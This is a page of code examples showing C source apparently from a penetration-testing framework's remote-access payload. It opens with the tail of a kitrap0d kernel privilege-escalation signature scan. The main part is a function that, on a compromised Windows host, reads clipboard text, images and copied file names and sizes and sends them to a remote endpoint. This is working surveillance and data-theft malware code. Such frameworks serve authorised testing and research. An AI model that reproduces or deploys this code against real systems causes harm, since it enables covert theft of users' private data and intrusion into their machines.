	} while( 0 );

	dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );

	if( hKernel )
		FreeLibrary( hKernel );

	return FALSE;
}
Esempio n. 30
0
/*!
 * @brief Handle the request to get the data from the clipboard.
 * @details This function currently only supports the following clipboard data formats:
 *             - CF_TEXT  - raw text data.
 *             - CF_DIB   - bitmap/image information.
 *             - CF_HDROP - file selection.
 *
 *          Over time more formats will be supported.
 * @param remote Pointer to the remote endpoint.
 * @param packet Pointer to the request packet.
 * @return Indication of success or failure.
 * @todo Add support for more data formats.
 */
DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
{
#ifdef _WIN32
	DWORD dwResult;
	HMODULE hKernel32 = NULL;
	HMODULE hUser32 = NULL;
	HMODULE hShell32 = NULL;

	PGLOBALLOCK pGlobalLock = NULL;
	PGLOBALUNLOCK pGlobalUnlock = NULL;

	POPENCLIPBOARD pOpenClipboard = NULL;
	PCLOSECLIPBOARD pCloseClipboard = NULL;
	PGETCLIPBOARDDATA pGetClipboardData = NULL;
	PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL;
	PDRAGQUERYFILEA pDragQueryFileA = NULL;
	PCREATEFILEA pCreateFileA = NULL;
	PCLOSEHANDLE pCloseHandle = NULL;
	PGETFILESIZEEX pGetFileSizeEx = NULL;

	HANDLE hSourceFile = NULL;
	PCHAR lpClipString = NULL;
	HGLOBAL hClipboardData = NULL;
	HDROP hFileDrop = NULL;
	UINT uFormat = 0;
	UINT uFileIndex = 0;
	UINT uFileCount = 0;
	CHAR lpFileName[MAX_PATH];
	Tlv entries[2] = { 0 };
	LARGE_INTEGER largeInt = { 0 };
	LPBITMAPINFO lpBI = NULL;
	PUCHAR lpDIB = NULL;
	ConvertedImage image;
	BOOL bImageDownload = FALSE;
	DWORD dwWidth;
	DWORD dwHeight;
	Tlv imageTlv[3];

	Packet *pResponse = packet_create_response(packet);

	do
	{
		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");

		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");

		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");

		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");

		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");

		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");

		dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
		if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");

		dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
		if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");

		// Try to get a lock on the clipboard
		if (!pOpenClipboard(NULL)) {
			dwResult = GetLastError();
			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
		}

		dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data...");

		while (uFormat = pEnumClipboardFormats(uFormat))
		{
			if (uFormat == CF_TEXT) {
				// there's raw text on the clipboard
				if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
					&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) {

					dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
					packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString);

					pGlobalUnlock(hClipboardData);
				}
			}
			else if (uFormat == CF_DIB) {
				dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
				// an image of some kind is on the clipboard
				if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
					&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) {

					dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");

					// grab the bitmap image size
					dwWidth = htonl(lpBI->bmiHeader.biWidth);
					dwHeight = htonl(lpBI->bmiHeader.biHeight);

					imageTlv[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX;
					imageTlv[0].header.length = sizeof(UINT);
					imageTlv[0].buffer = (PUCHAR)&dwWidth;
					imageTlv[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY;
					imageTlv[1].header.length = sizeof(UINT);
					imageTlv[1].buffer = (PUCHAR)&dwHeight;

					// only download the image if they want it
					bImageDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
					dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
						bImageDownload ? "WILL" : "will NOT");

					if (!bImageDownload) {
						packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2);
					}
					else {
						lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);

						// TODO: add the ability to encode with multiple encoders and return the smallest image.
						if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) {

							dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
							imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
							imageTlv[2].header.length = image.dwImageBufferSize;
							imageTlv[2].buffer = (PUCHAR)image.pImageBuffer;

							packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 3);

							// Just leaving this in for debugging purposes later on
							//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
							//WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL);
							//CloseHandle(hSourceFile);

							free(image.pImageBuffer);
						}
						else {
							dwResult = GetLastError();
							dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
						}
					}

					pGlobalUnlock(hClipboardData);
				}
				else {
					dwResult = GetLastError();
					dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
				}
			}
			else if (uFormat == CF_HDROP) {
				// there's one or more files on the clipboard
				dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard");
				do
				{
					dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll");
					if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");

					dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
					if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");

					dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
					if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");

					dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
					if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");

					dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
					if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");

					dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
					if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
						&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) {

						uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);

						dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);

						for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) {
							if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) {
								dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);

								memset(&entries, 0, sizeof(entries));
								memset(&largeInt, 0, sizeof(largeInt));

								entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME;
								entries[0].header.length = (DWORD)strlen(lpFileName) + 1;
								entries[0].buffer = (PUCHAR)lpFileName;

								entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE;
								entries[1].header.length = sizeof(QWORD);
								entries[1].buffer = (PUCHAR)&largeInt.QuadPart;

								if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) {
									if (pGetFileSizeEx(hSourceFile, &largeInt)) {
										largeInt.QuadPart = htonq(largeInt.QuadPart);
									}

									pCloseHandle(hSourceFile);
								}

								packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2);
							}
						}

						pGlobalUnlock(hClipboardData);
					}

				} while (0);
			}
		}

		dwResult = GetLastError();

		pCloseClipboard();

	} while (0);

	if (hShell32)
		FreeLibrary(hShell32);

	if (hKernel32)
		FreeLibrary(hKernel32);

	if (hUser32)
		FreeLibrary(hUser32);

	if (pResponse)
		packet_transmit_response(dwResult, remote, pResponse);

	return dwResult;
#else
	return ERROR_NOT_SUPPORTED;
#endif
}